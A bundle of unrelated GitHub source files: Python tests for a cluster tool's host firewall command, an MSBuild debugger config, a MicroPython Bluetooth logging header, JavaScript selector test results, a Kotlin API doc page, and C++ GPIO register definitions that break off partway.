|
import json
import re
from textwrap import dedent
import jmespath
class TestAddHostFirewall:
def test_no_hosts(self, host):
result = host.run('stack add host firewall')
assert result.rc == 255
assert result.stderr == dedent('''\
error - "host" argument is required
{host ...} {action=string} {chain=string} {protocol=string} {service=string} [comment=string] [flags=string] [network=string] [output-network=string] [rulename=string] [table=string]
''')
def test_invalid_host(self, host, invalid_host):
result = host.run(f'stack add host firewall {invalid_host}')
assert result.rc == 255
assert result.stderr == f'error - cannot resolve host "{invalid_host}"\n'
def test_no_service(self, host):
result = host.run(
'stack add host firewall frontend-0-0 chain=INPUT action=ACCEPT protocol=TCP'
)
assert result.rc == 255
assert result.stderr == dedent('''\
error - "service" parameter is required
{host ...} {action=string} {chain=string} {protocol=string} {service=string} [comment=string] [flags=string] [network=string] [output-network=string] [rulename=string] [table=string]
''')
def test_no_chain(self, host):
result = host.run('stack add host firewall frontend-0-0 service=1234 action=ACCEPT protocol=TCP')
assert result.rc == 255
assert result.stderr == dedent('''\
error - "chain" parameter is required
{host ...} {action=string} {chain=string} {protocol=string} {service=string} [comment=string] [flags=string] [network=string] [output-network=string] [rulename=string] [table=string]
''')
def test_no_action(self, host):
result = host.run('stack add host firewall frontend-0-0 service=1234 chain=INPUT protocol=TCP')
assert result.rc == 255
assert result.stderr == dedent('''\
error - "action" parameter is required
{host ...} {action=string} {chain=string} {protocol=string} {service=string} [comment=string] [flags=string] [network=string] [output-network=string] [rulename=string] [table=string]
''')
def test_no_protocol(self, host):
result = host.run('stack add host firewall frontend-0-0 service=1234 chain=INPUT action=ACCEPT')
assert result.rc == 255
assert result.stderr == dedent('''\
error - "protocol" parameter is required
{host ...} {action=string} {chain=string} {protocol=string} {service=string} [comment=string] [flags=string] [network=string] [output-network=string] [rulename=string] [table=string]
''')
def test_one_host(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP rulename=test'
)
assert result.rc == 0
# Make sure it is in the DB now
result = host.run('stack list host firewall frontend-0-0 output-format=json')
assert result.rc == 0
rule = jmespath.search("[?name=='test']", json.loads(result.stdout))
assert rule == [{
'host': 'frontend-0-0',
'name': 'test',
'table': 'filter',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': None,
'output-network': None,
'flags': None,
'comment': None,
'source': 'H',
'type': 'var'
}]
def test_multiple_hosts(self, host, add_host):
# Add the rules
result = host.run(
'stack add host firewall frontend-0-0 backend-0-0 service=1234 '
'chain=INPUT action=ACCEPT protocol=TCP rulename=test'
)
assert result.rc == 0
# Make sure they are in the DB now
for hostname in ('frontend-0-0', 'backend-0-0'):
result = host.run(f'stack list host firewall {hostname} output-format=json')
assert result.rc == 0
rule = jmespath.search("[?name=='test']", json.loads(result.stdout))
assert rule == [{
'host': hostname,
'name': 'test',
'table': 'filter',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': None,
'output-network': None,
'flags': None,
'comment': None,
'source': 'H',
'type': 'var'
}]
def test_network_existiing(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP network=private rulename=test'
)
assert result.rc == 0
# Make sure it is in the DB now
result = host.run('stack list host firewall frontend-0-0 output-format=json')
assert result.rc == 0
rule = jmespath.search("[?name=='test']", json.loads(result.stdout))
assert rule == [{
'host': 'frontend-0-0',
'name': 'test',
'table': 'filter',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': 'private',
'output-network': None,
'flags': None,
'comment': None,
'source': 'H',
'type': 'var'
}]
def test_invalid_network(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP network=test rulename=test'
)
assert result.rc == 255
assert result.stderr == 'error - "test" is not a valid network\n'
def test_output_network_existing(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP output-network=private rulename=test'
)
assert result.rc == 0
# Make sure it is in the DB now
result = host.run('stack list host firewall frontend-0-0 output-format=json')
assert result.rc == 0
rule = jmespath.search("[?name=='test']", json.loads(result.stdout))
assert rule == [{
'host': 'frontend-0-0',
'name': 'test',
'table': 'filter',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': None,
'output-network': 'private',
'flags': None,
'comment': None,
'source': 'H',
'type': 'var'
}]
def test_invalid_output_network(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP output-network=test rulename=test'
)
assert result.rc == 255
assert result.stderr == 'error - "test" is not a valid network\n'
def test_all_parameters(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 table=nat service=1234 '
'chain=INPUT action=ACCEPT protocol=TCP network=private '
'output-network=private flags=test_flag comment=test_comment '
'rulename=test'
)
assert result.rc == 0
# Make sure it is in the DB now
result = host.run('stack list host firewall frontend-0-0 output-format=json')
assert result.rc == 0
rule = jmespath.search("[?name=='test']", json.loads(result.stdout))
assert rule == [{
'host': 'frontend-0-0',
'name': 'test',
'table': 'nat',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': 'private',
'output-network': 'private',
'flags': 'test_flag',
'comment': 'test_comment',
'source': 'H',
'type': 'var'
}]
def test_no_rulename(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP network=private'
)
assert result.rc == 0
# Make sure it is in the DB now
result = host.run('stack list host firewall frontend-0-0 output-format=json')
assert result.rc == 0
rule = jmespath.search("[?service=='1234']", json.loads(result.stdout))
# Make sure our rule name was a UUID and then remove it for the match
assert re.match(
r'[0-9a-f]{8}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{4}-[0-9a-f]{12}',
rule[0]['name']
)
del rule[0]['name']
assert rule == [{
'host': 'frontend-0-0',
'table': 'filter',
'service': '1234',
'protocol': 'TCP',
'chain': 'INPUT',
'action': 'ACCEPT',
'network': 'private',
'output-network': None,
'flags': None,
'comment': None,
'source': 'H',
'type': 'var'
}]
def test_duplicate(self, host):
# Add the rule
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP'
)
assert result.rc == 0
# Now add it again and make sure it fails
result = host.run(
'stack add host firewall frontend-0-0 service=1234 chain=INPUT '
'action=ACCEPT protocol=TCP'
)
assert result.rc == 255
assert result.stderr == 'error - firewall rule already exists\n'
|
{
"pile_set_name": "Github"
}
|
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uDebug|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uRelease|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uDebug|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug-SSL|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release-SSL|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uDebug-SSL|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uRelease-SSL|Win32'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug-SSL|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Debug|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release-SSL|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uDebug-SSL|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uRelease-SSL|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
<PropertyGroup Condition="'$(Configuration)|$(Platform)'=='uRelease|x64'">
<LocalDebuggerCommand>$(TargetPath)</LocalDebuggerCommand>
<DebuggerFlavor>WindowsLocalDebugger</DebuggerFlavor>
</PropertyGroup>
</Project>
|
{
"pile_set_name": "Github"
}
|
/**
* This file was generated by Apache newt version: 1.8.0-dev
*/
#ifndef MICROPY_INCLUDED_EXTMOD_NIMBLE_LOGCFG_LOGCFG_H
#define MICROPY_INCLUDED_EXTMOD_NIMBLE_LOGCFG_LOGCFG_H
#include "py/mphal.h"
#include "modlog/modlog.h"
#include "log_common/log_common.h"
#define MICROPY_PY_BLUETOOTH_DIAGNOSTIC_LOGGING (1)
#if MICROPY_PY_BLUETOOTH_DIAGNOSTIC_LOGGING
#define DFLT_LOG_DEBUG(...) MODLOG_DEBUG(4, __VA_ARGS__)
#else
#define DFLT_LOG_DEBUG(...) IGNORE(__VA_ARGS__)
#endif
#if MICROPY_PY_BLUETOOTH_DIAGNOSTIC_LOGGING > 1
#define BLE_HS_LOG_DEBUG(...) MODLOG_DEBUG(4, __VA_ARGS__)
#else
#define BLE_HS_LOG_DEBUG(...) IGNORE(__VA_ARGS__)
#endif
#define BLE_HS_LOG_INFO(...) MODLOG_INFO(4, __VA_ARGS__)
#define BLE_HS_LOG_WARN(...) MODLOG_WARN(4, __VA_ARGS__)
#define BLE_HS_LOG_ERROR(...) MODLOG_ERROR(4, __VA_ARGS__)
#define BLE_HS_LOG_CRITICAL(...) MODLOG_CRITICAL(4, __VA_ARGS__)
#define BLE_HS_LOG_DISABLED(...) MODLOG_DISABLED(4, __VA_ARGS__)
#define DFLT_LOG_INFO(...) MODLOG_INFO(0, __VA_ARGS__)
#define DFLT_LOG_WARN(...) MODLOG_WARN(0, __VA_ARGS__)
#define DFLT_LOG_ERROR(...) MODLOG_ERROR(0, __VA_ARGS__)
#define DFLT_LOG_CRITICAL(...) MODLOG_CRITICAL(0, __VA_ARGS__)
#define DFLT_LOG_DISABLED(...) MODLOG_DISABLED(0, __VA_ARGS__)
#define MFG_LOG_DEBUG(...) IGNORE(__VA_ARGS__)
#define MFG_LOG_INFO(...) IGNORE(__VA_ARGS__)
#define MFG_LOG_WARN(...) IGNORE(__VA_ARGS__)
#define MFG_LOG_ERROR(...) IGNORE(__VA_ARGS__)
#define MFG_LOG_CRITICAL(...) IGNORE(__VA_ARGS__)
#define MFG_LOG_DISABLED(...) MODLOG_DISABLED(128, __VA_ARGS__)
#endif // MICROPY_INCLUDED_EXTMOD_NIMBLE_LOGCFG_LOGCFG_H
|
{
"pile_set_name": "Github"
}
|
44 tests, 197 assertions, 1 failures, 0 errors
Status Test Message
testSelectorWithTagName passed 4 assertions, 0 failures, 0 errors
testSelectorWithId passed 3 assertions, 0 failures, 0 errors
testSelectorWithClassName passed 2 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndId passed 2 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndClassName passed 4 assertions, 0 failures, 0 errors
testSelectorWithIdAndClassName passed 4 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndIdAndClassName passed 5 assertions, 0 failures, 0 errors
test$$MatchesAncestryWithTokensSeparatedByWhitespace passed 2 assertions, 0 failures, 0 errors
test$$CombinesResultsWhenMultipleExpressionsArePassed passed 1 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndAttributeExistence passed 3 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndSpecificAttributeValue passed 2 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndWhitespaceTokenizedAttributeValue passed 2 assertions, 0 failures, 0 errors
testSelectorWithAttributeAndNoTagName passed 8 assertions, 0 failures, 0 errors
testSelectorWithAttributeContainingDash passed 1 assertions, 0 failures, 0 errors
testSelectorWithUniversalAndHyphenTokenizedAttributeValue passed 2 assertions, 0 failures, 0 errors
testSelectorWithTagNameAndNegatedAttributeValue passed 1 assertions, 0 failures, 0 errors
testSelectorWithBracketAttributeValue passed 4 assertions, 0 failures, 0 errors
test$$WithNestedAttributeSelectors passed 1 assertions, 0 failures, 0 errors
testSelectorWithMultipleConditions passed 2 assertions, 0 failures, 0 errors
testSelectorMatchElements passed 4 assertions, 0 failures, 0 errors
testSelectorFindElement passed 4 assertions, 0 failures, 0 errors
testElementMatch passed 20 assertions, 0 failures, 0 errors
testSelectorWithSpaceInAttributeValue passed 1 assertions, 0 failures, 0 errors
testSelectorWithNamespacedAttributes passed 4 assertions, 0 failures, 0 errors
testSelectorWithChild passed 6 assertions, 0 failures, 0 errors
testSelectorWithAdjacence passed 10 assertions, 0 failures, 0 errors
testSelectorWithLaterSibling passed 10 assertions, 0 failures, 0 errors
testSelectorWithNewAttributeOperators passed 9 assertions, 0 failures, 0 errors
testSelectorWithDuplicates passed 2 assertions, 0 failures, 0 errors
testSelectorWithFirstLastOnlyNthNthLastChild passed 18 assertions, 0 failures, 0 errors
testSelectorWithFirstLastNthNthLastOfType passed 5 assertions, 0 failures, 0 errors
testSelectorWithNot passed 12 assertions, 0 failures, 0 errors
testSelectorWithEnabledDisabledChecked failed 2 assertions, 1 failures, 0 errors
Failure: assertEnumEqual
expected: <[<input id="enabled_text_field">, <input id="checked_box">, <input id="unchecked_box">, <input id="checked_radio">, <input id="unchecked_radio">]>, actual: <[<input id="hidden">, <input id="enabled_text_field">, <input id="checked_box">, <input id="unchecked_box">, <input id="checked_radio">, <input id="unchecked_radio">]>
testSelectorWithEmpty passed 2 assertions, 0 failures, 0 errors
testIdenticalResultsFromEquivalentSelectors passed 12 assertions, 0 failures, 0 errors
testSelectorsThatShouldReturnNothing passed 4 assertions, 0 failures, 0 errors
testCommasFor$$ passed 4 assertions, 0 failures, 0 errors
testSelectorExtendsAllNodes passed 3 assertions, 0 failures, 0 errors
testCountedIsNotAnAttribute passed 2 assertions, 0 failures, 0 errors
testCopiedNodesGetIncluded passed 2 assertions, 0 failures, 0 errors
testSelectorNotInsertedNodes passed 4 assertions, 0 failures, 0 errors
testElementDown passed 1 assertions, 0 failures, 0 errors
testElementDownWithDotAndColon passed 2 assertions, 0 failures, 0 errors
testDescendantSelectorBuggy passed 1 assertions, 0 failures, 0 errors
|
{
"pile_set_name": "Github"
}
|
<HTML>
<HEAD>
<meta charset="UTF-8">
<title>BasePagedListAdapter.<init> - commons/ui</title>
<link rel="stylesheet" href="../../../../style.css">
</HEAD>
<BODY>
<a href="../../index.html">commons/ui</a> / <a href="../index.html">com.vmadalin.commons.ui.base</a> / <a href="index.html">BasePagedListAdapter</a> / <a href="./-init-.html"><init></a><br/>
<br/>
<h1><init></h1>
<a name="com.vmadalin.commons.ui.base.BasePagedListAdapter$<init>(kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)), kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)))"></a>
<code><span class="identifier">BasePagedListAdapter</span><span class="symbol">(</span><span class="identifier" id="com.vmadalin.commons.ui.base.BasePagedListAdapter$<init>(kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)), kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)))/itemsSame">itemsSame</span><span class="symbol">:</span> <span class="symbol">(</span><span class="identifier">T</span><span class="symbol">,</span> <span class="identifier">T</span><span class="symbol">)</span> <span class="symbol">-></span> <a href="https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html"><span class="identifier">Boolean</span></a><span class="symbol">, </span><span class="identifier" id="com.vmadalin.commons.ui.base.BasePagedListAdapter$<init>(kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)), kotlin.Function2((com.vmadalin.commons.ui.base.BasePagedListAdapter.T, , kotlin.Boolean)))/contentsSame">contentsSame</span><span class="symbol">:</span> <span class="symbol">(</span><span class="identifier">T</span><span class="symbol">,</span> <span class="identifier">T</span><span class="symbol">)</span> <span class="symbol">-></span> <a href="https://kotlinlang.org/api/latest/jvm/stdlib/kotlin/-boolean/index.html"><span class="identifier">Boolean</span></a><span class="symbol">)</span></code>
<p>Base paged list adapter to standardize and simplify initialization for this component.</p>
<h3>Parameters</h3>
<p><a name="itemsSame"></a>
<code>itemsSame</code> - Function called to check whether two objects represent the same item.</p>
<p><a name="contentsSame"></a>
<code>contentsSame</code> - Function called to check whether two items have the same data.</p>
<p><strong>See Also</strong><br/>
<p><a href="#">PagedListAdapter</a></p>
</p>
</BODY>
</HTML>
|
{
"pile_set_name": "Github"
}
|
#pragma once
#include <Register/Utility.hpp>
namespace Kvasir {
// peripheral GPIO
namespace GpioPfr0{ ///< register PFR0
using Addr = Register::Address<0x40033000,0xffff7fe5,0x00000000,unsigned>;
/// bitfield PF
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> pf{};
/// bitfield P4
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> p4{};
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
namespace GpioPfr1{ ///< register PFR1
using Addr = Register::Address<0x40033004,0xffffffc1,0x00000000,unsigned>;
/// bitfield P5
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> p5{};
/// bitfield P4
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> p4{};
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> p2{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
namespace GpioPfr2{ ///< register PFR2
using Addr = Register::Address<0x40033008,0xfffffff1,0x00000000,unsigned>;
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> p2{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
namespace GpioPfr3{ ///< register PFR3
using Addr = Register::Address<0x4003300c,0xffff03ff,0x00000000,unsigned>;
/// bitfield PF
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> pf{};
/// bitfield PE
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> pe{};
/// bitfield PD
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> pd{};
/// bitfield PC
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> pc{};
/// bitfield PB
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,11),Register::ReadWriteAccess,unsigned> pb{};
/// bitfield PA
constexpr Register::FieldLocation<Addr,Register::maskFromRange(10,10),Register::ReadWriteAccess,unsigned> pa{};
}
namespace GpioPfr4{ ///< register PFR4
using Addr = Register::Address<0x40033010,0xffffff3f,0x00000000,unsigned>;
/// bitfield P7
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,7),Register::ReadWriteAccess,unsigned> p7{};
/// bitfield P6
constexpr Register::FieldLocation<Addr,Register::maskFromRange(6,6),Register::ReadWriteAccess,unsigned> p6{};
}
namespace GpioPfre{ ///< register PFRE
using Addr = Register::Address<0x40033038,0xfffffff2,0x00000000,unsigned>;
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> p2{};
/// bitfield P0
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> p0{};
}
namespace GpioPcr0{ ///< register PCR0
using Addr = Register::Address<0x40033100,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPcr1{ ///< register PCR1
using Addr = Register::Address<0x40033104,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPcr2{ ///< register PCR2
using Addr = Register::Address<0x40033108,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPcr3{ ///< register PCR3
using Addr = Register::Address<0x4003310c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPcr4{ ///< register PCR4
using Addr = Register::Address<0x40033110,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPcre{ ///< register PCRE
using Addr = Register::Address<0x40033138,0xffffffff,0x00000000,unsigned>;
}
namespace GpioDdr0{ ///< register DDR0
using Addr = Register::Address<0x40033200,0xffff7fe5,0x00000000,unsigned>;
/// bitfield PF
constexpr Register::FieldLocation<Addr,Register::maskFromRange(15,15),Register::ReadWriteAccess,unsigned> pf{};
/// bitfield P4
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> p4{};
/// bitfield P3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> p3{};
/// bitfield P1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> p1{};
}
namespace GpioDdr1{ ///< register DDR1
using Addr = Register::Address<0x40033204,0xffffffff,0x00000000,unsigned>;
}
namespace GpioDdr2{ ///< register DDR2
using Addr = Register::Address<0x40033208,0xffffffff,0x00000000,unsigned>;
}
namespace GpioDdr3{ ///< register DDR3
using Addr = Register::Address<0x4003320c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioDdr4{ ///< register DDR4
using Addr = Register::Address<0x40033210,0xffffffff,0x00000000,unsigned>;
}
namespace GpioDdre{ ///< register DDRE
using Addr = Register::Address<0x40033238,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdir0{ ///< register PDIR0
using Addr = Register::Address<0x40033300,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdir1{ ///< register PDIR1
using Addr = Register::Address<0x40033304,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdir2{ ///< register PDIR2
using Addr = Register::Address<0x40033308,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdir3{ ///< register PDIR3
using Addr = Register::Address<0x4003330c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdir4{ ///< register PDIR4
using Addr = Register::Address<0x40033310,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdire{ ///< register PDIRE
using Addr = Register::Address<0x40033338,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdor0{ ///< register PDOR0
using Addr = Register::Address<0x40033400,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdor1{ ///< register PDOR1
using Addr = Register::Address<0x40033404,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdor2{ ///< register PDOR2
using Addr = Register::Address<0x40033408,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdor3{ ///< register PDOR3
using Addr = Register::Address<0x4003340c,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdor4{ ///< register PDOR4
using Addr = Register::Address<0x40033410,0xffffffff,0x00000000,unsigned>;
}
namespace GpioPdore{ ///< register PDORE
using Addr = Register::Address<0x40033438,0xffffffff,0x00000000,unsigned>;
}
namespace GpioAde{ ///< register ADE
using Addr = Register::Address<0x40033500,0xffff8fc1,0x00000000,unsigned>;
/// bitfield AN14
constexpr Register::FieldLocation<Addr,Register::maskFromRange(14,14),Register::ReadWriteAccess,unsigned> an14{};
/// bitfield AN13
constexpr Register::FieldLocation<Addr,Register::maskFromRange(13,13),Register::ReadWriteAccess,unsigned> an13{};
/// bitfield AN12
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> an12{};
/// bitfield AN5
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,5),Register::ReadWriteAccess,unsigned> an5{};
/// bitfield AN4
constexpr Register::FieldLocation<Addr,Register::maskFromRange(4,4),Register::ReadWriteAccess,unsigned> an4{};
/// bitfield AN3
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,3),Register::ReadWriteAccess,unsigned> an3{};
/// bitfield AN2
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,2),Register::ReadWriteAccess,unsigned> an2{};
/// bitfield AN1
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,1),Register::ReadWriteAccess,unsigned> an1{};
}
namespace GpioSpsr{ ///< register SPSR
using Addr = Register::Address<0x40033580,0xfffffff0,0x00000000,unsigned>;
/// bitfield MAINXC
constexpr Register::FieldLocation<Addr,Register::maskFromRange(3,2),Register::ReadWriteAccess,unsigned> mainxc{};
/// bitfield SUBXC
constexpr Register::FieldLocation<Addr,Register::maskFromRange(1,0),Register::ReadWriteAccess,unsigned> subxc{};
}
namespace GpioEpfr00{ ///< register EPFR00
using Addr = Register::Address<0x40033600,0xffffff08,0x00000000,unsigned>;
/// bitfield SUBOUTE
constexpr Register::FieldLocation<Addr,Register::maskFromRange(7,6),Register::ReadWriteAccess,unsigned> suboute{};
/// bitfield RTCCOE
constexpr Register::FieldLocation<Addr,Register::maskFromRange(5,4),Register::ReadWriteAccess,unsigned> rtccoe{};
/// bitfield CROUTE
constexpr Register::FieldLocation<Addr,Register::maskFromRange(2,1),Register::ReadWriteAccess,unsigned> croute{};
/// bitfield NMIS
constexpr Register::FieldLocation<Addr,Register::maskFromRange(0,0),Register::ReadWriteAccess,unsigned> nmis{};
}
namespace GpioEpfr01{ ///< register EPFR01
using Addr = Register::Address<0x40033604,0x0000e000,0x00000000,unsigned>;
/// bitfield IC03S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(31,29),Register::ReadWriteAccess,unsigned> ic03s{};
/// bitfield IC02S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(28,26),Register::ReadWriteAccess,unsigned> ic02s{};
/// bitfield IC01S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(25,23),Register::ReadWriteAccess,unsigned> ic01s{};
/// bitfield IC00S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(22,20),Register::ReadWriteAccess,unsigned> ic00s{};
/// bitfield FRCK0S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(19,18),Register::ReadWriteAccess,unsigned> frck0s{};
/// bitfield DTTI0S
constexpr Register::FieldLocation<Addr,Register::maskFromRange(17,16),Register::ReadWriteAccess,unsigned> dtti0s{};
/// bitfield DTTI0C
constexpr Register::FieldLocation<Addr,Register::maskFromRange(12,12),Register::ReadWriteAccess,unsigned> dtti0c{};
/// bitfield RTO05E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(11,10),Register::ReadWriteAccess,unsigned> rto05e{};
/// bitfield RTO04E
constexpr Register::FieldLocation<Addr,Register::maskFromRange(9,8),Register::ReadWriteAccess,unsigned> rto04e{};
/// bitfield RTO03E
